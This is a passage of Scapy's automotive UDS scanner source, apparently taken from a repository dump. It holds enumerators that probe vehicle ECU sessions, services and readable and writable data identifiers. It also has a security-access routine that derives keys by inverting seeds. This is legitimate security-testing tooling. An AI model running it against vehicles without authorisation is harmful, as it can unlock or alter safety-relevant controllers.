-> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        self.modeOfOperation\n\n\n@Ecu.extend_pkt_with_logging(UDS_RFTPR)\ndef UDS_RFTPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"),\\\n        self.modeOfOperation\n\n\n@Ecu.extend_pkt_with_logging(UDS_IOCBI)\ndef UDS_IOCBI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.dataIdentifier\n\n\n@Ecu.extend_pkt_with_logging(UDS_IOCBIPR)\ndef UDS_IOCBIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), self.dataIdentifier\n\n\n@Ecu.extend_pkt_with_logging(UDS_NR)\ndef UDS_NR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%UDS.service%\"), \\\n        (self.sprintf(\"%UDS_NR.requestServiceId%\"),\n         self.sprintf(\"%UDS_NR.negativeResponseCode%\"))\n"
  },
  {
    "path": "scapy/contrib/automotive/uds_scan.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\nimport copy\nimport inspect\nimport itertools\nimport logging\nimport random\nimport struct\nimport time\nfrom abc import ABC\nfrom collections import defaultdict\n# typing imports\nfrom typing import (\n    Dict,\n    Optional,\n    NamedTuple,\n    List,\n    Type,\n    Any,\n    Iterable,\n    cast,\n    Union,\n    Set,\n    Sequence,\n)\n\nfrom scapy.compat import orb\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.ecu import EcuState\nfrom scapy.contrib.automotive.scanner.configuration import \\\n    AutomotiveTestCaseExecutorConfiguration  # noqa: E501\nfrom scapy.contrib.automotive.scanner.enumerator import ServiceEnumerator, \\\n    _AutomotiveTestCaseScanResult, _AutomotiveTestCaseFilteredScanResult, \\\n    StateGeneratingServiceEnumerator\nfrom scapy.contrib.automotive.scanner.executor import AutomotiveTestCaseExecutor  # noqa: E501\nfrom scapy.contrib.automotive.scanner.graph import _Edge\nfrom scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase  # noqa: E501\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \\\n    _SocketUnion, _TransitionTuple, StateGenerator\nfrom scapy.contrib.automotive.uds import UDS, UDS_NR, UDS_DSC, UDS_TP, \\\n    UDS_RDBI, UDS_WDBI, UDS_SA, UDS_RC, UDS_IOCBI, UDS_RMBA, UDS_ER, \\\n    UDS_TesterPresentSender, UDS_CC, UDS_RDBPI, UDS_RD, UDS_TD, UDS_DSCPR\n# TODO: Refactor this import\nfrom scapy.contrib.automotive.uds_ecu_states import *  # noqa: F401, F403\nfrom scapy.error import Scapy_Exception\nfrom scapy.packet import Raw, Packet\n\n# scapy.contrib.description = UDS AutomotiveTestCaseExecutor\n# scapy.contrib.status = loads\n\n# Definition outside the class UDS_RMBASequentialEnumerator\n# to allow pickling\n_PointOfInterest = NamedTuple(\"_PointOfInterest\", [\n    (\"memory_address\", int),\n    (\"direction\", bool),\n    # True = increasing / upward, False = decreasing / downward  # noqa: E501\n    (\"memorySizeLen\", int),\n    (\"memoryAddressLen\", int),\n    (\"memorySize\", int)])\n\n\nclass UDS_Enumerator(ServiceEnumerator, ABC):\n    @staticmethod\n    def _get_negative_response_code(resp):\n        # type: (Packet) -> int\n        return resp.negativeResponseCode\n\n    @staticmethod\n    def _get_negative_response_desc(nrc):\n        # type: (int) -> str\n        return UDS_NR(negativeResponseCode=nrc).sprintf(\n            \"%UDS_NR.negativeResponseCode%\")\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], \"PR: Supported\")\n\n    @staticmethod\n    def _get_negative_response_label(response):\n        # type: (Packet) -> str\n        return response.sprintf(\"NR: %UDS_NR.negativeResponseCode%\")\n\n\nclass UDS_DSCEnumerator(UDS_Enumerator, StateGeneratingServiceEnumerator):\n    _description = \"Available sessions\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'delay_state_change': (int, lambda x: x >= 0),\n        'overwrite_timeout': (bool, None),\n        'close_socket_when_entering_session_2': (bool, None),\n        'support_suppress_positive_response': (bool, None)\n    })\n    _supported_kwargs[\"scan_range\"] = (\n        (list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param int delay_state_change: Specifies an additional delay after\n                                       after a session is modified from\n                                       the transition function. In unit-test\n                                       scenarios, this delay should be set to\n                                       zero.\n        :param bool overwrite_timeout: True by default. This enumerator\n                                       overwrites the timeout argument, since\n                                       most ECUs take some time until a session\n                                       is changed. This ensures that more\n                                       results are gathered by default. In\n                                       unit-test scenarios, this value should\n                                       be set to False, in order to use the\n                                       timeout specified by the 'timeout'\n                                       argument.\n        :param bool close_socket_when_entering_session_2: False by default.\n                                       This enumerator will close the socket\n                                       if session 2 (ProgrammingSession)\n                                       was entered, if True. This will\n                                       force a reconnect by the executor.\n        :param bool support_suppress_positive_response: False by default.\n                                       If True, this enumerator will treat\n                                       no response for a DSC request with a\n                                       session type > 0x80 as a positive\n                                       response and will therefore create a\n                                       new state with a session value - 0x80.\"\"\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        session_range = kwargs.pop(\"scan_range\", range(2, 0x100))\n        return UDS() / UDS_DSC(diagnosticSessionType=session_range)\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n\n        # fix configuration in kwargs to avoid overwrite from user\n        kwargs[\"exit_if_service_not_supported\"] = False\n        kwargs[\"retry_if_busy_returncode\"] = False\n\n        # Apply a fixed timeout for this execute.\n        # Unit-tests may want to overwrite the timeout to speed up testing\n        if kwargs.pop(\"overwrite_timeout\", True):\n            kwargs[\"timeout\"] = 3\n\n        super(UDS_DSCEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (\n            tup[1].diagnosticSessionType,\n            tup[1].sprintf(\"%UDS_DSC.diagnosticSessionType%\"))\n\n    @staticmethod\n    def enter_state(socket,  # type: _SocketUnion\n                    configuration,  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                    request  # type: Packet\n                    ):  # type: (...) -> bool\n        try:\n            timeout = configuration[UDS_DSCEnumerator.__name__][\"timeout\"]\n        except KeyError:\n            timeout = 3\n        ans = socket.sr1(request, timeout=timeout, verbose=False)\n        if ans is not None:\n            if configuration.verbose:\n                log_automotive.debug(\n                    \"Try to enter session req: %s, resp: %s\" %\n                    (repr(request), repr(ans)))\n            return cast(int, ans.service) != 0x7f\n        else:\n            return False\n\n    def get_new_edge(self,\n                     socket,  # type: _SocketUnion\n                     config  # type: AutomotiveTestCaseExecutorConfiguration\n                     ):  # type: (...) -> Optional[_Edge]\n        edge = super(UDS_DSCEnumerator, self).get_new_edge(socket, config)\n\n        try:\n            close_socket = config[UDS_DSCEnumerator.__name__][\"close_socket_when_entering_session_2\"]  # noqa: E501\n        except KeyError:\n            close_socket = False\n\n        try:\n            support_out_of_spec = config[UDS_DSCEnumerator.__name__][\"support_suppress_positive_response\"]  # noqa: E501\n        except KeyError:\n            support_out_of_spec = False\n\n        if edge is None:\n            try:\n                state, req, resp, _, _ = cast(ServiceEnumerator, self).results[-1]  # noqa: E501\n            except IndexError:\n                return None\n\n            if support_out_of_spec and resp is None and req.diagnosticSessionType > 0x80:  # noqa: E501\n                resp = UDS() / UDS_DSCPR(diagnosticSessionType=0x80 - req.diagnosticSessionType)   # noqa: E501\n                new_state = EcuState.get_modified_ecu_state(resp, req, state)\n                if new_state == state:\n                    return None\n                else:\n                    edge = (state, new_state)\n                    self._edge_requests[edge] = req\n                    return edge\n            else:\n                return None\n\n        if edge:\n            state, new_state = edge\n            # Force TesterPresent if session is changed\n            new_state.tp = 1  # type: ignore\n            try:\n                if close_socket and new_state.session == 2:  # type: ignore\n                    new_state.tp = 0  # type: ignore\n            except (AttributeError, KeyError):\n                pass\n            return state, new_state\n        return None\n\n    @staticmethod\n    def enter_state_with_tp(sock,  # type: _SocketUnion\n                            conf,  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                            kwargs  # type: Dict[str, Any]\n                            ):  # type: (...) -> bool\n        UDS_TPEnumerator.enter(sock, conf, kwargs)\n        # Wait 5 seconds, since some ECUs require time\n        # to switch to the bootloader\n        try:\n            delay = conf[UDS_DSCEnumerator.__name__][\"delay_state_change\"]\n        except KeyError:\n            delay = 5\n\n        try:\n            close_socket = conf[UDS_DSCEnumerator.__name__][\"close_socket_when_entering_session_2\"]  # noqa: E501\n        except KeyError:\n            close_socket = False\n\n        conf.stop_event.wait(delay)\n        state_changed = UDS_DSCEnumerator.enter_state(\n            sock, conf, kwargs[\"req\"])\n\n        try:\n            session = kwargs[\"req\"].diagnosticSessionType\n        except AttributeError:\n            session = 0\n\n        if close_socket and session == 2:\n            if not hasattr(sock, \"ip\"):\n                log_automotive.warning(\"Likely closing a CAN based socket! \"\n                                       \"This might be a configuration issue.\")\n            log_automotive.info(\n                \"Entered Programming Session: Closing socket connection\")\n            sock.close()\n            conf.stop_event.wait(delay)\n\n        if not state_changed:\n            UDS_TPEnumerator.cleanup(sock, conf)\n        return state_changed\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return UDS_DSCEnumerator.enter_state_with_tp, {\n            \"req\": self._results[-1].req,\n            \"desc\": \"DSC=%d\" % self._results[-1].req.diagnosticSessionType\n        }, UDS_TPEnumerator.cleanup\n\n\nclass UDS_TPEnumerator(UDS_Enumerator, StateGeneratingServiceEnumerator):\n    _description = \"TesterPresent supported\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [UDS() / UDS_TP()]\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"TesterPresent:\"\n\n    @staticmethod\n    def enter(socket,  # type: _SocketUnion\n              configuration,  # type: AutomotiveTestCaseExecutorConfiguration\n              _  # type: Dict[str, Any]\n              ):  # type: (...) -> bool\n        if configuration.unittest:\n            configuration[\"tps\"] = None\n            socket.sr1(UDS() / UDS_TP(), timeout=0.1, verbose=False)\n            return True\n\n        UDS_TPEnumerator.cleanup(socket, configuration)\n        configuration[\"tps\"] = UDS_TesterPresentSender(socket, interval=3)\n        configuration[\"tps\"].start()\n        return True\n\n    @staticmethod\n    def cleanup(_, configuration):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> bool\n        try:\n            configuration[\"tps\"].stop()\n            configuration[\"tps\"] = None\n        except (AttributeError, KeyError):\n            pass\n            # log_automotive.debug(\"Cleanup TP-Sender Error: %s\", e)\n        return True\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return self.enter, {\"desc\": \"TP\"}, self.cleanup\n\n\nclass UDS_EREnumerator(UDS_Enumerator):\n    _description = \"ECUReset supported\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        reset_type = kwargs.pop(\"scan_range\", range(0x100))\n        return cast(Iterable[Packet], UDS() / UDS_ER(resetType=reset_type))\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (\n            tup[1].resetType, tup[1].sprintf(\"%UDS_ER.resetType%\"))\n\n\nclass UDS_CCEnumerator(UDS_Enumerator):\n    _description = \"CommunicationControl supported\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        control_type = kwargs.pop(\"scan_range\", range(0x100))\n        return cast(Iterable[Packet], UDS() / UDS_CC(\n            controlType=control_type, communicationType0=1,\n            communicationType2=15))\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (\n            tup[1].controlType, tup[1].sprintf(\"%UDS_CC.controlType%\"))\n\n\nclass UDS_RDBPIEnumerator(UDS_Enumerator):\n    _description = \"ReadDataByPeriodicIdentifier supported\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = (\n        (list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        pdid = kwargs.pop(\"scan_range\", range(0x100))\n        return cast(Iterable[Packet], UDS() / UDS_RDBPI(\n            transmissionMode=1, periodicDataIdentifier=pdid))\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is not None and resp.service != 0x7f:\n            return \"0x%02x %s: %s\" % (\n                tup[1].periodicDataIdentifier,\n                tup[1].sprintf(\"%UDS_RDBPI.periodicDataIdentifier%\"),\n                resp.dataRecord)\n        else:\n            return \"0x%02x %s: No response\" % (\n                tup[1].periodicDataIdentifier,\n                tup[1].sprintf(\"%UDS_RDBPI.periodicDataIdentifier%\"))\n\n\nclass UDS_ServiceEnumerator(UDS_Enumerator):\n    _description = \"Available services and negative response per state\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        \"request_length\": (int, lambda x: 1 <= x < 5)\n    })\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param int request_length: Specifies the maximum length of arequest\n                                   packet. The enumerator will generate all\n                                   packets from a length of 1 (UDS Service\n                                   ID only) up to the specified\n                                   `request_length`.\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(UDS_ServiceEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        # Only generate services with unset positive response bit (0x40) as\n        # default scan_range\n        scan_range = kwargs.pop(\"scan_range\",\n                                (x for x in range(0x100) if not x & 0x40))\n        request_length = kwargs.pop(\"request_length\", 1)\n        return itertools.chain.from_iterable(\n            ([UDS(service=x) / Raw(b\"\\x00\" * req_len)\n              for req_len in range(request_length)] for x in scan_range))\n\n    def _evaluate_response(self,\n                           state,  # type: EcuState\n                           request,  # type: Packet\n                           response,  # type: Optional[Packet]\n                           **kwargs  # type: Optional[Dict[str, Any]]\n                           ):  # type: (...) -> bool\n        if response and response.service == 0x51:\n            log_automotive.warning(\n                \"ECUResetPositiveResponse detected! This might have changed \"\n                \"the state of the ECU under test.\")\n\n        # remove args from kwargs since they will be overwritten\n        kwargs[\"exit_if_service_not_supported\"] = False  # type: ignore\n\n        return super(UDS_ServiceEnumerator, self)._evaluate_response(\n            state, request, response, **kwargs)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x-%d: %s\" % (\n            tup[1].service, len(tup[1]), tup[1].sprintf(\"%UDS.service%\"))\n\n\nclass UDS_RDBIEnumerator(UDS_Enumerator):\n    _description = \"Readable data identifier per state\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x10000 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x10000))\n        return (UDS() / UDS_RDBI(identifiers=[x]) for x in scan_range)\n\n    @staticmethod\n    def print_information(resp):\n        # type: (Packet) -> str\n        load = bytes(resp)[3:] if len(resp) > 3 else \"No data available\"\n        return \"PR: %s\" % load\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x: %s\" % (tup[1].identifiers[0],\n                               tup[1].sprintf(\"%UDS_RDBI.identifiers%\")[1:-1])\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], self.print_information)\n\n\nclass UDS_RDBISelectiveEnumerator(StagedAutomotiveTestCase):\n    @staticmethod\n    def __connector_rnd_to_seq(rdbi_random,  # type: AutomotiveTestCaseABC\n                               _  # type: AutomotiveTestCaseABC\n                               ):  # type: (...) -> Dict[str, Any]\n        rdbi_random = cast(UDS_Enumerator, rdbi_random)\n        identifiers_with_positive_response = \\\n            [p.resp.dataIdentifier\n             for p in rdbi_random.results_with_positive_response]\n\n        scan_range = UDS_RDBISelectiveEnumerator. \\\n            points_to_blocks(identifiers_with_positive_response)\n        return {\"scan_range\": scan_range}\n\n    @staticmethod\n    def points_to_blocks(pois):\n        # type: (Sequence[int]) -> Iterable[int]\n\n        if len(pois) == 0:\n            # quick path for better performance\n            return []\n\n        block_size = UDS_RDBIRandomEnumerator.block_size\n        generators = []\n        for start in range(0, 2 ** 16, block_size):\n            end = start + block_size\n            pr_in_block = any((start <= identifier < end\n                               for identifier in pois))\n            if pr_in_block:\n                generators.append(range(start, end))\n        scan_range = list(itertools.chain.from_iterable(generators))\n        return scan_range\n\n    def __init__(self):\n        # type: () -> None\n        super(UDS_RDBISelectiveEnumerator, self).__init__(\n            [UDS_RDBIRandomEnumerator(), UDS_RDBIEnumerator()],\n            [None, self.__connector_rnd_to_seq])\n\n\nclass UDS_RDBIRandomEnumerator(UDS_RDBIEnumerator):\n    _supported_kwargs = copy.copy(UDS_RDBIEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'probe_start': (int, lambda x: 0 <= x <= 0xffff),\n        'probe_end': (int, lambda x: 0 <= x <= 0xffff)\n    })\n    block_size = 2 ** 6\n\n    _supported_kwargs_doc = UDS_RDBIEnumerator._supported_kwargs_doc + \"\"\"\n        :param int probe_start: Specifies the start identifier for probing.\n        :param int probe_end: Specifies the end identifier for probing.\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(UDS_RDBIRandomEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n\n        samples_per_block = {\n            4: 29, 5: 22, 6: 19, 8: 11, 9: 11, 10: 13, 11: 14, 12: 31, 13: 4,\n            14: 26, 16: 30, 17: 4, 18: 20, 19: 5, 20: 49, 21: 54, 22: 9, 23: 4,\n            24: 10, 25: 8, 28: 6, 29: 3, 32: 11, 36: 4, 37: 3, 40: 9, 41: 9,\n            42: 3, 44: 2, 47: 3, 48: 4, 49: 3, 52: 8, 64: 35, 66: 2, 68: 24,\n            69: 19, 70: 30, 71: 28, 72: 16, 73: 4, 74: 6, 75: 27, 76: 41,\n            77: 11, 78: 6, 81: 2, 88: 3, 90: 2, 92: 16, 97: 15, 98: 20, 100: 6,\n            101: 5, 102: 5, 103: 10, 106: 10, 108: 4, 124: 3, 128: 7, 136: 15,\n            137: 14, 138: 27, 139: 10, 148: 9, 150: 2, 152: 2, 168: 23,\n            169: 15, 170: 16, 171: 16, 172: 2, 176: 3, 177: 4, 178: 2, 187: 2,\n            232: 3, 235: 2, 240: 8, 252: 25, 256: 7, 257: 2, 287: 6, 290: 2,\n            316: 2, 319: 3, 323: 3, 324: 19, 326: 2, 327: 2, 330: 4, 331: 10,\n            332: 3, 334: 8, 338: 3, 832: 6, 833: 2, 900: 4, 956: 4, 958: 3,\n            964: 12, 965: 13, 966: 34, 967: 3, 972: 10, 1000: 3, 1012: 23,\n            1013: 14, 1014: 15\n        }\n        to_scan = []\n        block_size = UDS_RDBIRandomEnumerator.block_size\n\n        probe_start = kwargs.pop(\"probe_start\", 0)\n        probe_end = kwargs.pop(\"probe_end\", 0x10000)\n        probe_range = range(probe_start, probe_end, block_size)\n\n        for block_index, start in enumerate(probe_range):\n            end = start + block_size\n            count_samples = samples_per_block.get(block_index, 1)\n            to_scan += random.sample(range(start, end), count_samples)\n\n        # Use locality effect\n        # If an identifier brought a positive response in any state,\n        # it is likely that in another state it is available as well\n        positive_identifiers = [t.resp.dataIdentifier for t in\n                                self.results_with_positive_response]\n        to_scan += positive_identifiers\n\n        # make all identifiers unique with set()\n        # Sort for better logs\n        to_scan = sorted(list(set(to_scan)))\n        return (UDS() / UDS_RDBI(identifiers=[x]) for x in to_scan)\n\n\nclass UDS_WDBIEnumerator(UDS_Enumerator):\n    _description = \"Writeable data identifier per state\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'rdbi_enumerator': (UDS_RDBIEnumerator, None)\n    })\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param rdbi_enumerator: Specifies an instance of an UDS_RDBIEnumerator\n                                which is used to extract possible data\n                                identifiers.\n        :type rdbi_enumerator: UDS_RDBIEnumerator\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(UDS_WDBIEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x10000))\n        rdbi_enumerator = kwargs.pop(\"rdbi_enumerator\", None)\n\n        if rdbi_enumerator is None:\n            log_automotive.debug(\"Use entire scan range\")\n            return (UDS() / UDS_WDBI(dataIdentifier=x) for x in scan_range)\n        elif isinstance(rdbi_enumerator, UDS_RDBIEnumerator):\n            log_automotive.debug(\"Selective scan based on RDBI results\")\n            return (UDS() / UDS_WDBI(dataIdentifier=t.resp.dataIdentifier) /\n                    Raw(load=bytes(t.resp)[3:])\n                    for t in rdbi_enumerator.results_with_positive_response\n                    if len(bytes(t.resp)) >= 3)\n        else:\n            raise Scapy_Exception(\"rdbi_enumerator has to be an instance \"\n                                  \"of UDS_RDBIEnumerator\")\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x: %s\" % (tup[1].dataIdentifier,\n                               tup[1].sprintf(\"%UDS_WDBI.dataIdentifier%\"))\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], \"PR: Writeable\")\n\n\nclass UDS_WDBISelectiveEnumerator(StagedAutomotiveTestCase):\n    @staticmethod\n    def __connector_rdbi_to_wdbi(rdbi,  # type: AutomotiveTestCaseABC\n                                 _  # type: AutomotiveTestCaseABC\n                                 ):  # type: (...) -> Dict[str, Any]\n        return {\"rdbi_enumerator\": rdbi}\n\n    def __init__(self):\n        # type: () -> None\n        super(UDS_WDBISelectiveEnumerator, self).__init__(\n            [UDS_RDBIEnumerator(), UDS_WDBIEnumerator()],\n            [None, self.__connector_rdbi_to_wdbi])\n\n\nclass UDS_SAEnumerator(UDS_Enumerator):\n    _description = \"Available security seeds with access type and state\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(1, 256, 2))\n        return (UDS() / UDS_SA(securityAccessType=x) for x in scan_range)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return tup[1].securityAccessType\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], lambda r: \"PR: %s\" % r.securitySeed)\n\n    def pre_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        if cast(ServiceEnumerator, self)._retry_pkt[state]:\n            # this is a retry execute. Wait much longer than usual because\n            # a required time delay not expired could have been received\n            # on the previous attempt\n            if not global_configuration.unittest:\n                global_configuration.stop_event.wait(11)\n\n    def _evaluate_retry(self,\n                        state,  # type: EcuState\n                        request,  # type: Packet\n                        response,  # type: Packet\n                        **kwargs  # type: Optional[Dict[str, Any]]\n                        ):  # type: (...) -> bool\n\n        if super(UDS_SAEnumerator, self)._evaluate_retry(\n                state, request, response, **kwargs):\n            return True\n\n        if response.service == 0x7f and \\\n                self._get_negative_response_code(response) in [0x24, 0x37]:\n            log_automotive.debug(\n                \"Retry %s because requiredTimeDelayNotExpired or \"\n                \"requestSequenceError received\",\n                repr(request))\n            return super(UDS_SAEnumerator, self)._populate_retry(\n                state, request)\n        return False\n\n    def _evaluate_response(self,\n                           state,  # type: EcuState\n                           request,  # type: Packet\n                           response,  # type: Optional[Packet]\n                           **kwargs  # type: Optional[Dict[str, Any]]\n                           ):  # type: (...) -> bool\n        if super(UDS_SAEnumerator, self)._evaluate_response(\n                state, request, response, **kwargs):\n            return True\n\n        if response is not None and \\\n                response.service == 0x67 and \\\n                response.securityAccessType % 2 == 1:\n            log_automotive.debug(\"Seed received. Leave scan to try a key\")\n            return True\n        return False\n\n    @staticmethod\n    def get_seed_pkt(sock, level=1, record=b\"\"):\n        # type: (_SocketUnion, int, bytes) -> Optional[Packet]\n        req = UDS() / UDS_SA(securityAccessType=level,\n                             securityAccessDataRecord=record)\n        for _ in range(10):\n            seed = sock.sr1(req, timeout=5, verbose=False)\n            if seed is None:\n                return None\n            elif seed.service == 0x7f and \\\n                    UDS_Enumerator._get_negative_response_code(seed) != 0x37:\n                log_automotive.info(\n                    \"Security access no seed! NR: %s\", repr(seed))\n                return None\n\n            elif seed.service == 0x7f and seed.negativeResponseCode == 0x37:\n                log_automotive.info(\"Security access retry to get seed\")\n                time.sleep(10)\n                continue\n            else:\n                return seed\n        return None\n\n    @staticmethod\n    def evaluate_security_access_response(res, seed, key):\n        # type: (Optional[Packet], Packet, Optional[Packet]) -> bool\n        if res is None or res.service == 0x7f:\n            log_automotive.info(repr(seed))\n            log_automotive.info(repr(key))\n            log_automotive.info(repr(res))\n            log_automotive.info(\"Security access error!\")\n            return False\n        else:\n            log_automotive.info(\"Security access granted!\")\n            return True\n\n\nclass UDS_SA_XOR_Enumerator(UDS_SAEnumerator, StateGenerator):\n    _description = \"XOR SecurityAccess supported\"\n    _transition_function_args = dict()  # type: Dict[_Edge, Dict[str, Any]]\n\n    @staticmethod\n    def get_key_pkt(seed, level=1):\n        # type: (Packet, int) -> Optional[Packet]\n\n        def key_function_int(s):\n            # type: (int) -> int\n            return 0xffffffff & ~s\n\n        def key_function_short(s):\n            # type: (int) -> int\n            return 0xffff & ~s\n\n        try:\n            s = seed.securitySeed\n        except AttributeError:\n            return None\n\n        fmt = None\n        key_function = None  # Optional[Callable[[int], int]]\n\n        if len(s) == 2:\n            fmt = \"H\"\n            key_function = key_function_short\n\n        if len(s) == 4:\n            fmt = \"I\"\n            key_function = key_function_int\n\n        if key_function is not None and fmt is not None:\n            key = struct.pack(fmt, key_function(struct.unpack(fmt, s)[0]))\n            return cast(Packet, UDS() / UDS_SA(securityAccessType=level + 1,\n                                               securityKey=key))\n        else:\n            return None\n\n    def get_security_access(self, sock, level=1, seed_pkt=None):\n        # type: (_SocketUnion, int, Optional[Packet]) -> bool\n        log_automotive.info(\n            \"Try bootloader security access for level %d\" % level)\n        if seed_pkt is None:\n            seed_pkt = self.get_seed_pkt(sock, level)\n            if not seed_pkt:\n                return False\n\n        if not any(seed_pkt.securitySeed):\n            log_automotive.info(\n                \"Security access for level %d already granted!\" % level)\n            return True\n\n        key_pkt = self.get_key_pkt(seed_pkt, level)\n        if key_pkt is None:\n            return False\n\n        try:\n            res = sock.sr1(key_pkt, timeout=5, verbose=False)\n            if sock.closed:\n                log_automotive.critical(\"Socket closed during scan.\")\n                raise Scapy_Exception(\"Socket closed during scan\")\n        except (OSError, ValueError, Scapy_Exception) as e:\n            try:\n                last_seed_req = self._results[-1].req\n                last_state = self._results[-1].state\n                if not self._populate_retry(last_state, last_seed_req):\n                    log_automotive.exception(\n                        \"Exception during retry. This is bad\")\n            except IndexError:\n                log_automotive.warning(\"Couldn't populate retry.\")\n            raise e\n\n        return self.evaluate_security_access_response(\n            res, seed_pkt, key_pkt)\n\n    def transition_function(self, sock, _, kwargs):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool  # noqa: E501\n        spec = inspect.getfullargspec(self.get_security_access)\n\n        func_kwargs = {k: kwargs[k] for k in spec.args if k in kwargs.keys()}\n        return self.get_security_access(sock, **func_kwargs)\n\n    def 